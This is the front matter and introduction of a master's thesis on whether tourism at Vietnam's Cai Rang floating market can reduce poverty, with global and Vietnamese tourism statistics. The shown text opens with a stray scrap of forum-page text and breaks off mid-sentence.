hard-coded prefix, isn't that a problem? Are you sure you want to delete this post? You will not be able to recover it later. Are you sure you want to delete this thread? You will not be able to recover it later.
http://orchard.codeplex.com/discussions/290962
CC-MAIN-2017-17
refinedweb
882
53.31
Difference between revisions of "CIO 20133 Release 0.2 - OOP344" Revision as of 09:17, 15 October 2013 OOP344 | Weekly Schedule | Student List | Teams | Project | Student Resources Under Construction Contents CFrame The code for this class is provided the repository of your team. You must understand and use it to develop your core classes in your repository. CFrame class is responsible to create a frame or structure in which all user interface classes contain themselves. It can draw a border around it self or be border-less. CFrame also, before displaying itself on the screen, will save the area it is about to cover, so it can re-display them to hide itself. CFrame is the base of all the classes in our user interface system. /* Add your names under fardad's name: Reviewed by: (Team member names and date of review) Full Name, Github id, date Fardad Soleimanloo, fardad, Oct 03 2013 - 22:34 */ #include "ciogh.h" namespace cio{ class CFrame{ int _row; int _col; int _height; int _width; char _border[9]; bool _visible; CFrame* _frame; char* _covered; void setLine(char* line, char left, char fill, char right)const; void capture(); void free(); To Do No coding is involved in this release. task - Select one of the team member's console.cpp and console team members. Due Date All branches must be merged back to master by Sunday Oct 20th, 23:59 and master repository should be fully compiled and the execution tested. Tester Program Test1Frame.cpp (is in your team's repository)
https://wiki.cdot.senecacollege.ca/w/index.php?title=CIO_20133_Release_0.2_-_OOP344&diff=prev&oldid=100300
CC-MAIN-2020-24
refinedweb
254
71.04
15 May 2012 15:41 [Source: ICIS news] LONDON (ICIS)--Net profit at Zaklady Azotowe Pulawy (ZAP) rose to zlotych (Zl) 244.7m ($72.8m, €56.6m) in the third quarter of the 2011/2012 fiscal year from Zl 197.8m a year ago, on a marked improvement in fertilizer prices, the Polish company said on Tuesday. Sales revenues reached Zl 1.1bn compared to Zl 897.6m in the third quarter of the 2010/2011 year, while operating profit climbed to Zl 363.9 from Zl 314.9m, added ZAP, a fertilizer, caprolactam (capro) and melamine producer. “The main factors influencing the financial results, which are noticeably better than what was seen in the third quarter of the previous fiscal year, was the rise in the prices of fertilizer products in ?xml:namespace> Domestic sales revenues of ZAP products soared 43.6%, while export sales revenues edged down 2.7%, year on year, the company said. Looking ahead, ZAP cautioned that the Polish fertilizer market was a target for cheap products from Russian producers that benefit from low-cost gas feedstock and increasing access to sales channels in Weakening demand for chemical products from the Polish furniture manufacturing sector, the output of which contracted 11.3% year on year in March, and the automaking sector, which shrank 10.5% in the same month, could also impact on ZAP's next set of results, the company added. ($1 = €0.78) ($1 = Zl 3.36,
http://www.icis.com/Articles/2012/05/15/9560000/net-profit-at-polands-zap-climbs-24-on-improved-fertilizer-prices.html
CC-MAIN-2015-06
refinedweb
244
65.83
As shown in the preceding figure, a custom runtime is essentially an HTTP server. To create a custom runtime, you only need to deploy an HTTP server that listens on a fixed port, store the command used to start this server in a file named bootstrap, and then package this file into a code.zip file. When Function Compute performs a cold boot to start the custom runtime, the bootstrap file is called by default to start the user-defined HTTP server. Then, the HTTP server takes over all call requests for Function Compute, including common call requests and HTTP trigger call requests. Common call requests Function Compute forwards the common request header fields and body of a user request to the HTTP server in the custom runtime environment. Note: To construct request parameters similar to the contextand event parameters in an official runtime, you can use the information in common request header fields and the user request body, respectively. If you do not need to use def handler(context, event) to call a function, you can implement custom logic based on the HTTP server. HTTP trigger call requests Function Compute forwards a user request (including the path, specific request header fields, and body) and common request header fields to the HTTP server in your custom runtime. If common request header fields are not required, you can quickly port an existing web application to Function Compute based on the custom runtime. Runtime environment The docker image of custom runtimes is based on Debian 9 (Stretch). The required Linux kernel version is Linux kernel 4.9.125.Python, Node.js, and Java of the following versions are supported by default: Python 3.7.4 Node.js 10.16.2 OpenJDK 1.8.0 OpenJDK 1.8.0_232:OpenJDK runtime environment (build 1.8.0_232-8u232-b09-1~deb9u1-b09) Simplest custom runtime To set up the simplest custom runtime, you only need to perform the following operations: - Deploy an HTTP server and configure it to listen on a fixed port. The port can be specified by the environment variable FC_SERVER_PORT. The default port is 9000. - Enable the HTTP server to start within 15 seconds. For example, to develop a Tornado application in Function Compute, write the following sample code in the server.py file: import tornado.ioloop import tornado.web import os class MainHandler(tornado.web.RequestHandler): def get(self): self.write("Hello, world") def make_app(): return tornado.web.Application([ (r"/", MainHandler), ]) if __name__ == "__main__": app = make_app() port = os.environ.get("FC_SERVER_PORT", "9000") app.listen(int(port)) tornado.ioloop.IOLoop.current().start() Then, compile a file named bootstrap on which you have the execute permission. Note that the comment #!/bin/bash is required. Use the file to start the HTTP server deployed by using the preceding code. #!/bin/bash python server.py Finally, package the bootstrap file into a code.zip file, and use it to create a function whose value of runtime is custom. Note: In this case, the handlerof the function is meaningless. You can enter any string that meets the character set constraints of Function Compute handlers. root@33a2b0c2a9d7:/code# ls -ll total 16 -rwxr-xr-x 1 root staff 17 Aug 16 22:19 bootstrap -rw-r--r-- 1 root staff 414 Aug 16 17:24 server.py drwxr-xr-x 38 root staff 1216 Aug 16 22:20 tornado root@33a2b0c2a9d7:/code# zip -r code.zip * root@33a2b0c2a9d7:/code# ls -ll code.zip -rw-r--r-- 1 root staff 943389 Aug 16 22:24 code.zip The following sections describe the features and method requirements of a custom runtime. Method requirements are optional. Common request header fields of Function Compute As described in the preceding sections, you only need to start an HTTP server to create a custom runtime. However, you may be concerned about what request header fields the HTTP server will receive. The following table describes the common request header fields that the HTTP server in the custom runtime may receive from Function Compute. If you need to access other Alibaba Cloud services, you may also need to use request header fields to specify your temporary AccessKey information. If you want to port an existing web application, you can ignore the request header fields described in the following table. Log format We recommend that you create a service based on Log Service. If you use Log Service, all runtime logs of the custom runtime displayed in the Function Compute console are stored in the specified Logstore of the specified Log Service project. In other runtimes, Function Compute provides the following feature when you call a function: If the request header contains the x-fc-log-type field whose value is Tail, the value of the x-fc-log-result field in the response header is the runtime log of the function. The maximum size of this log is 4 KB. Currently, the Function Compute console displays logs returned based on this feature. If you do not require this feature, you can ignore the following log format. 1. Optional. The cold boot identifier of the custom runtime. FunctionCompute ${runtime} runtime inited. If you use Go, the value of ${runtime} can be golang or custom. Do not use a name identical to that of an official runtime, such as nodejs, python, or php. 2. Required. The start of the call request. FC Invoke Start RequestId: ${RequestId} 3. Required. The end of the call request. FC Invoke End RequestId: ${RequestId} 4. Optional. The start of the initialization request. FC Initialize Start RequestId: ${RequestId} 5. Optional. The end of the initialization request. FC Initialize End RequestId: ${RequestId} In addition to the preceding specific message content, we recommend that you include $requestId in logs to facilitate troubleshooting in the future. The following example shows a log format: $utcdatetime(yyyy-MM-ddTHH:mm:ss.fff) $requestId [$Level] $message HTTP server configuration requirements You must configure the HTTP server as follows: - Listens on a port of any IP address. The port can be specified by the environment variable FC_SERVER_PORT. The default port is 9000. - Keeps the connection alive. - Allows each request to be valid for at least 10 minutes. - Starts within 15 seconds. Common calls and HTTP trigger calls In a custom runtime, you can distinguish common calls from HTTP trigger calls based on the value of the x-fc-control-path field in the request header as follows: /invoke: a common call request. In this case, Function Compute calls a function without using the HTTP trigger. /http-invoke: an HTTP trigger call request. In this case, Function Compute uses the HTTP trigger to call a function. Function Compute forwards the user request (including the path, specific request header fields, and body) and common request header fields to the HTTP server in the custom runtime. After receiving the response header fields and body from the HTTP server, Function Compute returns the response to the client that makes the call request. /initialize: an initialization request. Before a function is called for the first time, Function Compute initializes the runtime environment. Common calls in a custom runtime HTTP trigger calls in a custom runtime If you make an HTTP trigger call request, the client can directly access the web API or webpage of the function to be called. In this case, you do not need to use the /invoke and /initialize methods required by common call requests. Instead, you can use custom methods. In addition to common request header fields, the HTTP server in the custom runtime can receive the specific request header field as described in the following table. Limits The limits in the custom runtime are the same as those in other runtimes. For more information, see Limits.
https://www.alibabacloud.com/help/doc-detail/132044.htm
CC-MAIN-2020-29
refinedweb
1,287
57.27
Scrapy middleware to handle javascript pages using puppeteer. This is an attempt to make Scrapy and Puppeteer work together to handle Javascript-rendered pages. The design is strongly inspired of the Scrapy Splash plugin. Scrapy and Puppeteer The main issue when running Scrapy and Puppeteer together is that Scrapy is using Twisted and that Pyppeteeer (the python port of puppeteer we are using) is using asyncio for async stuff. Luckily, we can use the Twisted's asyncio reactor to make the two talking with each other. That's why you cannot use the buit-in scrapy command line (installing the default reactor), you will have to use the scrapyp one, provided by this module. If you are running your spiders from a script, you will have to make sure you install the asyncio reactor before importing scrapy or doing anything else: import asyncio from twisted.internet import asyncioreactor asyncioreactor.install(asyncio.get_event_loop()) pip install scrapy-puppeteer Add the PuppeteerMiddleware to the downloader middlewares: DOWNLOADER_MIDDLEWARES = { 'scrapy_puppeteer.PuppeteerMiddleware': 800 } Use the scrapy_puppeteer.PuppeteerRequest instead of the Scrapy built-in Request like below: from scrapy_puppeteer import PuppeteerRequest def your_parse_method(self, response): # Your code... yield PuppeteerRequest('', self.parse_result) The request will be then handled by puppeteer. The selector response attribute work as usual (but contains the html processed by puppeteer). def parse_result(self, response): print(response.selector.xpath('//title/@text')) The scrapy_puppeteer.PuppeteerRequest accept 2 additional arguments: wait_until Will be passed to the waitUntil parameter of puppeteer. Default to domcontentloaded. wait_for Will be passed to the waitFor to puppeteer. screenshot When used, puppeteer will take a screenshot of the page and the binary data of the .png captured will be added to the response meta: yield PuppeteerRequest( url, self.parse_result, screenshot=True ) def parse_result(self, response): with open('image.png', 'wb') as image_file: image_file.write(response.meta['screenshot'])
https://openbase.com/python/scrapy-puppeteer
CC-MAIN-2021-43
refinedweb
304
50.94
ThreadClass The closest you can get to a “raw thread” is using the Thread class, which lives in the System.Threading namespace that will be the topic of this chapter. By “raw thread” we mean a native (as all of them ultimately are) thread that can run managed code but isn’t subject to lots of additional management by the CLR or any library. In particular, no techniques such as pooling or specialized scheduling are employed. Use of the Thread class is pretty simple. We start by looking at the instance members defined on the Thread class, so we need to create an instance first. All a thread object needs to know about is what code it has to run. As you should infer by now, the idea of delegating execution ... No credit card required
https://www.oreilly.com/library/view/c-40-unleashed/9780132678926/h4_1936.html
CC-MAIN-2019-13
refinedweb
135
73.37
Search Search Close suggestions Upload Change Language Join Saved Bestsellers Books Audiobooks Snapshots Magazines Documents Sheet Music Upload Read Free For 30 Days 0 Up votes, mark as useful 0 Down votes, mark as not useful HuynhBT.pdf Uploaded by Hồ Thắng Download as PDF, TXT or read online from Scribd Flag for inappropriate content save Save HuynhBT.pdf For Later Related Info Embed Print Search Related titles Tour Operators Questionniare 97 Social Enterprise Bill_HB 6085 Mensah et al.pdf Sustainable Tourism Characteristics.indian.economy E63_14E Multiple Choice Questions With Answers Worldwide Destinations Sustainable Tourism 291905_ch2 Marketing Plan for Ecotourism (1) CONCLUSION.docx Indonesia 2016 Conference Brochure Development Concept of Urban Housing Renewal Based on Sustainable Tourism a Case Study of Kampung Tambak Bayan Surabaya Anthropology Tourism Climate Change and International Tourism 132 Oxfam Briefing Paper tourism sri lanka fbsdf WTTC Report Jamaica 2017 Download You are on page 1 of 161 Search inside document The Cai Rang Floating Market, Vietnam: Towards Pro-Poor Tourism? By BICH TRAM HUYNH A thesis submitted to the Auckland University of Technology in fulfilment of the degree of MASTER of TOURISM STUDIES 2011 Supervisor: Professor Simon Milne Table of Contents List of Figures ............................................................................................................... i List of Tables................................................................................................................. i Attestation of Authorship ............................................................................................. ii Abstract ....................................................................................................................... iii Abbreviations .............................................................................................................. vi 1. Introduction ........................................................................................................... 1 1.1 The Research Focus: the Cai Rang Floating Market, Can Tho City, Vietnam .......................................................................................................................9 1.2 Thesis Outline .............................................................................................. 11 2. Literature Review ............................................................................................... 13 2.1 Tourism and Development in Less Developed Countries ........................... 13 2.1.1 Criterion to constitute less developed countries ........................................ 13 2.1.2 Tourism in less developed countries .......................................................... 14 2.2 Tourism and Poverty Alleviation ................................................................ 17 2.2.1 The concept of pro-poor tourism ......................................................... 18 2.2.2 Overview of pro-poor tourism strategies ............................................. 20 2.2.3 Understanding poverty ......................................................................... 22 2.2.4 The role of tourism in poverty alleviation ........................................... 24 2.2.5 Local participation in tourism .............................................................. 31 2.3 The Role of Markets in Development ......................................................... 34 2.4 The Vietnam Context .................................................................................. 38 2.4.1 Vietnam poverty measurement ............................................................ 38 2.4.2 Vietnam tourism ................................................................................... 41 3. Methodology ....................................................................................................... 51 3.1. Case-Study Approach ...................................................................................... 51 3.2. Qualitative Research Approach ....................................................................... 52 3.2.1. Semi-structured interviews ....................................................................... 56 3.2.2. Data analysis ............................................................................................. 61 4. The Case-Study Context ..................................................................................... 64 4.1 Can Tho City ............................................................................................... 64 4.1.1 Can Tho city poverty measurement ..................................................... 67 4.1.2 The Cai Rang floating market .............................................................. 75 5. Findings and Discussion ..................................................................................... 81 5.1 Findings ....................................................................................................... 81 5.1.1 The stallholders .................................................................................... 81 5.1.2 The tourism officer, professional, tour guide and tour operators ......... 93 5.2 Comments and Policy Recommendations ................................................. 105 5.2.1 Concept, policies and strategies ......................................................... 106 5.2.2 Tools and approaches for tourism and poverty linkages enhancement ............................................................................................................108 6. Conclusions ....................................................................................................... 109 6.1 Key Findings ............................................................................................. 112 6.2 Future Research ......................................................................................... 115 References ................................................................................................................ 118 Appendix A: Interview Participant Information Sheet ............................................ 144 Appendix B: Interview Question Guidelines ........................................................... 147 Appendix C: Interview Consent to Participate Form ............................................... 149 Appendix D: Ethics Approval .................................................................................. 150 i List of Figures Figure 1.1: Map of Vietnam Figure 1.2: Can Tho city in the Mekong Delta Figure 2.1: Tourism and poverty alleviation Figure 2.2: Key elements of Brittons model of dependent tourism development Figure 2.3: Stallholders Damnoen Saduak, Thailand Figure 2.4: International arrivals to Vietnam for the period 2000 2010 Figure 4.1: Map of Can Tho city with the location of Cai Rang floating market Figure 4.2: Stallholders on the Cai Rang floating market Figure 4.3: Stallholders with child and dog on their boats Figure 4.4: Concentration of small boats at the Cai Rang Floating market Figure 4.5: A pole on the boat of a stallholder on the Cai Rang floating market Figure 4.6: A child sells fruit and soft drink at the Cai Rang floating market Figure 5.1: Gender of stallholder respondents Figure 5.2: Age groups of stallholder respondents Figure 5.3: Level of education of stallholder respondents Figure 5.4: Length of being stallholders on the Cai Rang floating market Figure 5.5: Products for sale on the floating market Figure 5.6: Sources of products Figure 5.7: Stallholder daily income levels Figure 5.8: Types of shelter in which stallholders are living List of Tables Table 1: Key PPT principles Table 2: Prettys typology of participation Table 3: Visitors to Vietnam from 20002009 Table 4: Advantages and disadvantages of case studies Table 5: Strengths and weaknesses of qualitative and quantitative methods Table 6: Tourists visiting Can Tho city from 20002009 ii. ______________ Bich Tram Huynh iii Abstract Tourism is a major economic force in the world (WTO, 2004). Many developing countries have enjoyed spectacular growth in tourist arrivals and rely heavily on tourism as a source of income and employment (Telfer & Sharpley, 2008). According to the World Tourism Organisation (WTO, 2004), tourism, as a key component of many countries service exports, has the power to deliver significant international earnings that can be directed towards the fundamental world priority of alleviating poverty. In the specific case of Vietnam, tourism is increasingly becoming one of the key national economic sectors. The government, following global action led by the WTO, has also tried to reduce poverty through tourism in some parts of Vietnam. However, there is little empirical research that has examined the potential of tourism to improve the livelihood of the poor in Can Tho city, where tourism is showing signs of growth while a large proportion of local population is still suffering from low income and poor living conditions, especially those at the Cai Rang floating market. Following a brief introduction to the tourism context in Vietnam and Can Tho city, the focus of the thesis will be on the Cai Rang floating market, Can Tho city, Vietnam. The main aim of this research is to investigate how tourism can help to eliminate poverty among the Cai Rang floating market participants and those that are linked to them. The research is guided by the following questions: What is pro-poor tourism (PPT)? What are the challenges and limitations of using tourism as a tool for poverty reduction? What is the role of markets in local community development? What is the structure of the tourism industry in Can Tho city and the structure of tourism at the Cai Rang floating market? How can tourism contribute to poverty reduction among participants in the Cai Rang floating market? iv This research will contribute to the growing body of knowledge on pro-poor tourism and community development. The research upon which the thesis is based was conducted from 30 November until 25 December 2009 in Can Tho and Ho Chi Minh cities, Vietnam. Semi-structured interviews were conducted with key stakeholders in the tourism industry (both government and private sector), associated with the linkage between tourism and poverty alleviation. Key findings show that local authorities and communities have limited awareness of tourisms benefits and its role in poverty reduction. There is also a lack of community participation in tourism planning and development, and a lack of co-ordination between tourism stakeholders, especially the local authorities of different departments in Can Tho city. These results suggest that if tourism is really to make a difference, contributing to poverty alleviation, there needs to be better planning and partnerships. v Acknowledgements I wish to thank my supervisors Professor Simon Milne for his guidance and counsel in the content and structure of this work. Thank you to Huong, a friend in Can Tho city, for providing me with transport and showing me around the city. My gratitude also goes to those who took the time to be interviewed. I owe a heartfelt to my parents, my husband and his mother for their encouragement and unfailing belief in my abilities. I especially thank my father for his never-ending advice and support throughout the study. I acknowledge the support of the AUT Ethics Committee in approving application number 09/208 on 15 October 2009. vi Abbreviations ASEAN Association of South-East Asian Nations AFTA ASEAN Free Trade Area APEC AsiaPacific Economic Co-operation AUTEC Auckland University of Technology Ethics Committee CIEM Central Institute for Economic Management DFID Department for International Development EU European Union GDP Gross Domestic Product GRP Gross Regional Product HCMC Ho Chi Minh city HDI Human Development Index ICRT International Centre for Responsible Tourism IMF International Monetary Fund IIED International Institute for the Environment and Development LDCs Less-developed countries MCST Ministry of Culture, Sport and Tourism MDGs Millennium Development Goals MICE Meetings, Incentives, Conferences, Exhibitions MOLISA Ministry of Labour, Invalids and Social Affairs NGOs Non-governmental organisations NZD New Zealand Dollar (New Zealands currency) ODI Overseas Development Institute OECD Organisation of Economic Co-operation and Development PPP Purchasing-Power Parity PPT Pro-Poor Tourism SARS Severe Acute Respiratory Syndrome SMMEs Small, medium and micro-enterprises SNV Netherlands Development Organisation UNDP United Nations Development Programme UNEP United Nations Environment Programme UNWTO United Nation- World Tourism Organisation USD United States Dollars (the United States currency) vii VAT Value-Added Taxes VCA Value Chain Analysis VNAT Vietnam National Administration of Tourism VND Vietnam Dong (Vietnams currency) WTO World Tourism Organisation WTTC World Travel and Tourism Council Foreign Exchange Rates US$1 = VND20,890 (at February 2011) NZ$1 = VND16,359 (at February 2011) ANZ Bank Vietnam (2011). Foreign Exchange Rates. Retrieved 10 February 2011 1 1. Introduction In the past ten years, much has been written on the implication of pro-poor tourism worldwide (Saville, 2001; Bowden, 2005; Overseas Development Institute, 2007). Likewise, in Vietnam research has been done about the linkage between tourism and poverty alleviation in Sapa (Lao Cai), Hue and Da Nang (Cu, 2007; Mitchell & Le, 2007; Overseas Development Institute, 2007). However, no similar research has been done on the Cai Rang floating market, Can Tho city, Vietnam, where there is a large proportion of poor people as well as considerable potentials for tourism development. The key aims of this study are to: examine the current and potential impact of tourism on poverty reduction in Can Tho city, Vietnam, with a focus on the case of the Cai Rang floating market, and suggest actions which could be considered for strengthening the links between tourism and poverty alleviation. These aims will be achieved by addressing the following key questions: What is pro-poor tourism (PPT)? What are the challenges and limitations of using tourism as a tool for poverty reduction? What is the role of the market in local community development? What is the structure of the tourism industry in Can Tho city and the structure of tourism at the Cai Rang floating market? How can tourism contribute to poverty reduction at the Cai Rang floating market? Current Trends in Tourism Recent statistical information indicates that tourism is one of the largest and fastest growing industries in the world (WTO, 2006). International tourism is a vital part of the global economy, generating roughly US$1 trillion in global receipts in 2008 (up 1.8% from 2007), and ranking as the fourth-largest industry in the world, after fuels, 2 chemicals, and automotive products (Honey & Gilpin, 2009). In 2005, the industry employed 74.2 million persons worldwide or 2.8% of total world employment. In the same year, it also accounted for approximately 3.8% of total world economic output (WTTC, 2005, cited in Senate Economic Planning Office, 2006). Combining both the direct and related economic activities of tourism, the industry is estimated to employ 221 million persons or 8.3% of total world employment and contribute 10.6% of total world output (Senate Economic Planning Office, 2006). Under the impact of the worldwide financial crisis and subsequent economic recession, international tourist arrivals declined by 4.2% in 2009 to 880 million. International tourism receipts reached US$ 852 billion in 2009, corresponding to a decrease in real terms of 5.7% from 2008 figures (UNWTO, 2010). Even though travel and tourism activity was depressed, the industry still employed more than 235 million people across the world and generated 9.4% of global GDP in 2009 (WTTC, 2010). According to the August Interim Update of the UNWTO World Tourism Barometer, international tourist arrivals totalled 421 million during the first six months of 2010, up 7% on 2009, but still 2% below that of the record year of 2008 (428 million arrivals in the same period). Nevertheless, prospects have improved with arrivals now forecast to grow between 3% and 4% in 2010. Over the next ten years, travel and tourism will continue to grow in importance as one of the worlds highest-priority sectors and employers. The World Tourism Organisation forecasts that international tourism will generate US$2 trillion by 2020 (Telfer & Sharpley, 2008). The contribution of travel and tourism to global GDP is expected to rise from 9.2% (US$5,751 billion) in 2010 to 9.6% (US$11,151 billion) by 2020 (WTTC, 2010). The contribution of the travel and tourism economy to total employment is expected to rise from 8.1% (235,758,000 jobs or 1 in every 12.3 jobs) in 2010, to 9.2% of total employment (303,019,000 jobs, or 1 in every 10.9 jobs) by 2020. Export earnings from international visitors are expected to generate 6.1% of total exports (US$1,086 billion) in 2010, growing (in nominal terms) to US$2,160 billion (5.2% of total) in 2020. Asia and the Pacific (+14%) and the Middle East (+20%), where results were already positive in the second half of 2009, continue to lead growth in the first half of 2010 3 with the majority of destinations in both regions posting double digit growth rates (Koumelis, 2010). Asia in particular is experiencing a very dynamic rebound, with especially strong results from Sri Lanka (+49%), Japan (+36%) and Vietnam (+35%). As in previous occasions, such as after the Asian financial and economic crisis (19971998), the SARS outbreak (2003), and the tsunami (2004), Asia has once again shown a strong capacity for recovery. International tourism has been a driving force in the region currently the second most-visited region in the world with 181 million international tourist arrivals (21% of the world total) and international tourism receipts of US$204 billion (24% of the world total) in 2009 (Koumelis, 2010). Tourism in the Developing World The breadth of international travel has greatly expanded in recent years to encompass the developing world (Honey & Gilpin, 2009). Since the 1950s, developing countries have received increasing numbers of international tourists, mainly from developed countries. International tourist arrivals have grown significantly faster in developing countries than they have in the EU or OECD countries (Roe, Ashley, Page & Meyer, 2004). Arrivals, revenue and receipts per visitor all grew faster in developing countries than elsewhere during the 1990s. Tourism makes a substantial contribution to their GDP and accounts for a higher share of exports than in OECD countries. In 2000, developing countries had 292.6 million international arrivals, an increase since 1990 of nearly 95% (Roe et al., 2004). There also has been a higher rate of growth in developing countries than in developed countries in the absolute value of tourism expenditure as recorded in the national accounts. The absolute tourism earnings of developing countries grew by 133% between 1990 and 2000 and in the Least Developed Countries by 154%; this compares with 64% for OECD countries and 49% for EU countries (Roe et al., 2004). In 2000, the financial value per arrival to developing countries was considerably lower than the value per visitor to OECD or EU countries. However, between 1990 and 2000, developing countries, and particularly Least Developed Countries, secured a larger increase in income per international arrival compared with OECD or European Union countries. Least Developed Countries secured an increase of 45% and 4 developing countries nearly 20%, compared with 18% for OECD countries and 7.8% for EU countries (Pro-Poor Tourism Partnership, 2004a). Between 1990 and 2000, the export value of tourism grew by 154% in developing countries, second only to the growth in the manufacturing sector (Roe et al., 2004). The WTO (2002a) found that for developing countries in general and Least Developed Countries in particular, tourism accounted for about 9% of exports in 2000. Agricultural export earnings were only about one-third of that of tourism export earnings for both country groupings. According to the WTO, if petroleum industry exports are discounted, tourism is the primary source of foreign exchange earnings in the 49 Least Developed Countries (Pro-Poor Tourism Partnership, 2004b). Overall, tourism is a principal export earner for 83% of developing countries (WTO, 2004, p. 9). Compared with the developed countries of the OECD and EU, it is clear that tourism is a particularly significant export for developing countries and particularly the least developed countries. Given that only 0.7% of international travel takes place in least developed countries, the economic impacts of these insignificant flows are very considerable. Furthermore, as with international arrivals, the economic significance of tourism in developing countries is growing rapidly (Pro-Poor Tourism Partnership, 2004b). In addition to financial earnings, tourism also provides considerable economic benefits at the national level in the form of employment. In countries that are most dependant on tourism (particularly small islands) tourism can employ 2050% of the labour force and can account for 3090% of GDP, 5090% of exports (Pro-Poor Tourism Partnership, 2004b). The market share of developing countries has grown to 40% of worldwide international arrivals by 2007 up from 34% in 2000 (WTO, 2002a; Travel Related, 2008). Nearly 60% of international arrivals still take place in the relatively small number of OECD and EU countries and nearly 70% of global expenditure remains in the developed world (Pro-Poor Tourism Partnership, 2004a). However, the traditional position of well-established destinations in the developed world is being increasingly challenged by new destinations in the developing world as numbers of arrivals and share of total arrivals is increasing at a far faster pace than those in 5 developed countries. According to the WTO Vision 2020 report, these trends are expected to continue well into the future (Pro-Poor Tourism Partnership, 2004a). Developing nations are seeking the potential benefits of tourism, such as increased income, foreign exchange, employment and economic diversification (Telfer & Sharpley, 2008). Vietnam is no exception to this: with its range of natural and cultural resources, the country is planning to attract significant foreign exchange from international visitors, making the industry a key economic driver for the country. Vietnams tourism sector presented an average annual growth of 20% over the past ten years (New Hanoi, 2010). The industry contributed 6.3% of the countrys total GDP in 2008. The tourism sector is one of Vietnams two largest foreign exchange earners, generating more than US$4 billion last year (New Hanoi, 2010). In the first nine months of 2010, total international arrivals exceeded 3.7 million, representing a 34.2% growth over the same period the previous year (VNAT, 2010a). With this growth rate, Vietnam ranks third in the AsiaPacific region in terms of tourism rebound (Koumelis, 2010). Experts also forecast that the number of foreign visitors to Vietnam will continue to increase as a series of major domestic and international events will be held in the country between now and the end of this year, especially activities to celebrate the 1,000 year anniversary of Thang Long-Hanoi from 110 October 2010. The tourism sector is expected to welcome 4.2 million international tourists this year (VNAT, 2010a). The tourism industry is anticipated to earn US$8.9 billion in 2015 when the country expects to welcome 12 million foreign visitors and host 28 million domestic travellers (VNAT, 2010b). The World Travel and Tourism Council (WTTC) forecast that the tourism sector will account for the biggest proportion of the labour force in Vietnam by 2015, employing around 15% of the countrys whole labour force. The trained tourism workers will receive incomes, contributing to poverty elimination and the countrys socio-economic development (Vietnam Business Forum, 2009a). The United Nation World Tourism Organisations (UNWTO) Tourism Vision for 2020 has forecast that international tourist arrivals to Vietnam are expected to reach more than 1.56 billion by the year 2020 (VNA, 2010). In the same year, the tourism industry is expected to earn US$15.9 billion in revenue, which would contribute 6% of GDP (VNAT, 2010b). 6 Tourism and Poverty Alleviation Given this remarkable growth and economic significance, it is not surprising that tourism has been considered an effective means of achieving poverty reduction in the less developed countries, including Vietnam. According to the WTO (2005a), more than one billion people live on less than US$1 dollar per day and 2.7 billion have less than US$2 dollars per day to survive on. The effects of the global financial crisis are likely to persist and poverty rates will be slightly higher in 2015 and even beyond, to 2020, than they would have been had the world economy grown steadily at its pre-crisis pace (United Nations, 2010). Progress on poverty reduction is still being made, despite significant setbacks due to the 20082009 (United Nations, 2010). Vietnam is considered a successful case in poverty reduction among developing countries (Vu, 2009). Its poverty rate has reduced from 58.1% in 1993 to 14.5% in 2008. The average poverty reduction each year is more than 1.8 million people, a reduction from more than 40 million poor people in 1993 to 12.5 million in 2008. Poverty reduction remains a major concern for Vietnamese society as the poverty reduction rate has tended to slow down, and there remains a risk for many people of falling back into the ranks of the poor when there are unexpected changes like an economic crisis, epidemics, a natural disaster (Vietnamese Communist Party E- newspaper, 2010). It is also appropriate to note that Vietnam is still defined as belonging to the group of the worlds poorest countries (Nguyen, Cu, Vu & Tran, 2007). Poverty alleviation through tourism has been practised by developing countries since the 1960s. However it is only in the last ten years that it has become a focus for academics (Peak, 2008). The concept of pro-poor tourism (PPT) was first developed in 1999 and its practical strategies were identified in 2001. A lot of people have become PPT enthusiasts (Ashley, Goodwin & Roe, 2004). Pro-poor tourism is set up 7 in developing countries as a means to improve the economic benefits for local people. It enhances the linkages between tourism businesses and poor people, so that poverty is reduced and poor people are able to participate more effectively in tourism development (EcoTour, 2007). The aims of PPT range from increasing local employment to involving local people in the decision-making process. The most important factor is not the type of company or the type of tourism, but that poor people receive an increase in the net benefits from tourism (EcoTour, 2007). Though there are still no statistics officially released nationwide on income contribution from tourism to the poor in Vietnam, it is argued that in all cities or localities where tourism has become established, living standards and conditions of local people have substantially improved (Nguyen et al., 2007). Examples of tourism working effectively in poverty alleviation are said to be seen in a number of famous tourist destinations: Sapa (Lao Cai), Ha Long (Quang Ninh), Cat Ba (Hai Phong), Sam Son (Thanh Hoa), Cua Lo (Nghe An), Hue (Thua Thien-Hue), Hoi An (Quang Nam), Nha Trang (Khanh Hoa), Mui Ne (Phan Thiet) and some localities in the Mekong River Delta (Nguyen et al., 2007). According to a senior advisor of the European Union-funded human source development project, Vietnams tourism sector is expanding to areas where its impact on poverty alleviation will be greatest (Vietnam Business Forum, 2009a). A survey by the Netherlands Development Organisation (SNV) on Vietnams major tourism destinations, including Hanoi, Ho Chi Minh city, Hoi An, Ha Long and Hue, found that 97% of interviewed tourists said they were ready to pay more for a holiday that was environmentally-friendly and resulted in increased net benefits for poor people (VNAT, 2010c). Tourism is thus widely recognised as a large and very promising sector for poverty reduction (Nguyen et al., 2007). Vietnam plans to continue to develop its tourism industry but with an emphasis on responsible travel as a key to responsible tourism. Responsible tourism is an approach to the management of tourism, aimed at maximising economic, social and environmental benefits and minimising costs to destinations (Tourism New Zealand, 2010). Simply put, responsible tourism is tourism that creates better places for people to live in, and better places to visit (City of Cape Town, 2009, p. 3). The 8 2002 Cape Town Declaration on Responsible Tourism in Destinations defines Responsible Tourism as tourism that: (The International Centre for Responsible Tourism, 2002; Myagmarsuren, 2011) A responsible tourism approach aims to achieve the triple-bottom-line outcomes of sustainable development, i.e. economic growth, environmental integrity and social justice. The distinguishing characteristic of the approach is the focus on the responsibility of role-players in the tourism sector, and at destinations in general, to take action to achieve sustainable tourism development (City of Cape Town, 2009). According to the Head of Vietnam Institute for Tourism Development Research, as part of its national tourism strategy for 20112020, the government will underline responsible travel development as the biggest priority for the industry (VNAT, 2010c). Responsible travel can bring big benefits to companies, tourists and locals. Tourists can enrich their cultural and social experience via their direct activities with locals, thus helping them improve their behaviour towards the environment. Responsible travel can also help locals take more pride in their own cultural traits and lifestyles (VNAT, 2010c). Responsible travel is quite a new concept in Vietnam, but has for years been developed successfully by many foreign countries, for example in Nepal, where a responsible travel programme has helped that country to 9 reduce poverty and protect the environment (VNAT, 2010c; Nepal Tours Destination, 2011). The WTO (2004) identified seven mechanisms or practical ways of delivering tourism benefits to the poor: direct employment, supply chains, informal selling, enterprise development, taxes and charges, voluntary giving and collateral benefits (UNWTO & SNV, 2010). Under these mechanisms, the poor in Vietnam can be given jobs at travel firms or they can provide products and tourism services for tourism businesses as well as 